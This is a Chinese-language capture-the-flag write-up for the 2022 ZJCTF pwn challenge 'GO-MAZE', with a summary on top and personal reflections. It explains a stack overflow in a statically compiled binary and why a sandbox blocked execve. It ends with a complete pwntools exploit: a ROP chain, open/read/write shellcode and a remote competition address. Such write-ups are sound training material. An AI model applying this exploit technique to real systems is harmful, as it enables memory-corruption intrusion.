比赛回顾:作者提到自己在比赛中没有做出一道题目,主要是因为静态编译和调试时间不足,以及一些代码逻辑错误导致的失败。
题目分析:作者详细分析了题目,包括如何利用静态编译带来的gadget,以及如何通过堆栈溢出找到系统调用地址。最终,作者利用IDA Pro工具和手动搜索汇编关键字找到了正确的系统调用,并尝试执行shellcode,但未能成功。
解题思路:作者提出了一种新的解题思路,通过读取、打开和写入操作来获取flag。然而,由于context.arch设置错误,导致程序在尝试执行时失败。
exp:作者提供了一个Python脚本,用于自动化执行攻击过程,包括设置shellcode和调用系统调用。
后话:作者表达了对这次比赛结果的失望,认为自己在关键时刻没有发挥出应有的水平,更多地依赖队友的帮助。
【Pwn】2022 ZJCTF GO-MAZE
前言
这次省赛纯纯的靠队友,web基本ak,re全ak了,misc也是队友带的,我纯纯的混子
比赛的时候没做出来这一题,主要是静态编译太ex了,而且最后十分钟才看到0x123000这个地方可读可写可执行...已经没时间去调试了
最憨的是,写好的链子执行直接报错了,赛后发现链子根本没错,错的是context.arch
没有设置成amd64
,链子为了写的快一点,没用p64,用的flat,直接默认32位写进去的,直接寄...
分析
纯ex人的go pwn,好在是静态编译,带了很多gadget
首先玩游戏就可以进入一个类似于gets的函数
这里可以写入然后栈溢出
调偏移花了20分钟。。。
写入后去文件中找/bin/sh
还真有!由于前几天蓝帽杯也有这样的binsh,于是猜测是system
自己手写了一个c程序,调用system,静态编译,一对比果然一模一样
于是花了2小时一直在打system("/bin/sh")
未果,寻病终...
发现是开了沙箱,不让执行execve
直接绝后路了
之后就基本放弃这一题了...
之后吃完饭想去调用open,read,write
奈何静态编译还去符号表根本没找过这样的模式
赛后复盘发现ida可以alt+t
直接搜素汇编,搜索如下关键字:
- sys_read
- sys_open
- sys_write
调试过程中使用vmmap,发现0x123000
位置有所有权限
那么思路很简单了,直接:
- read(0, 0x123000, 0x100)
- open("/flag")
- read(rax, rsp, 0x100)
- write(1, rsp, 0x100)
思路非常正确,问题就处在了context.arch的设置错误导致flat的默认是32位,直接暴毙...
只能说还是调试少咯
exp
from pwn import *
sa = lambda rv, data: io.sendafter(rv, data)
sl = lambda data: io.sendline(data)
sla = lambda rv, data: io.sendlineafter(rv, data)
ia = lambda: io.interactive()
context.arch = "amd64" # don't forget
io = remote("1.14.97.218", 28231)
# io = process("./pwn")
s = "sssssdddwwwdddwdww"
for i in s:
sl(i)
ret = 0x00000000004005EE
ret = 0x00000000004005EE
syscall = 0x00000000004025AB
pop_rdi = 0x00000000004008F6
pop_rsi = 0x000000000040416F
pop_rax_ret = 0x0000000000400A4F
pop_rdx_ret = 0x000000000051D4B6
pop_rdx_rsi_ret = 0x000000000051D559
read_addr = 0x51D6E0
# read(0, 0x12300, 0x100)
payload = p64(pop_rdi)
payload += p64(0)
payload += p64(pop_rdx_rsi_ret)
payload += p64(0x100)
payload += p64(0x123000)
payload += p64(pop_rax_ret)
payload += p64(0)
payload += p64(syscall)
payload += p64(0x123000)
sa("DO YOU WANNA THIS?", b"-" * (376 + 8) + (payload))
# shellcode
shellcode = shellcraft.open("/flag")
shellcode += shellcraft.read("rax", "rsp", 0x100)
shellcode += shellcraft.write(1, "rsp", 0x100)
shellcode = asm(shellcode)
sla("flag\x00", shellcode)
ia()
后话
应该是最好一次打省赛了,去年也是没发挥好,差0.5分拿省一
今年虽然是一等,但感觉还是被队友带飞了,自己纯纯的没用捏...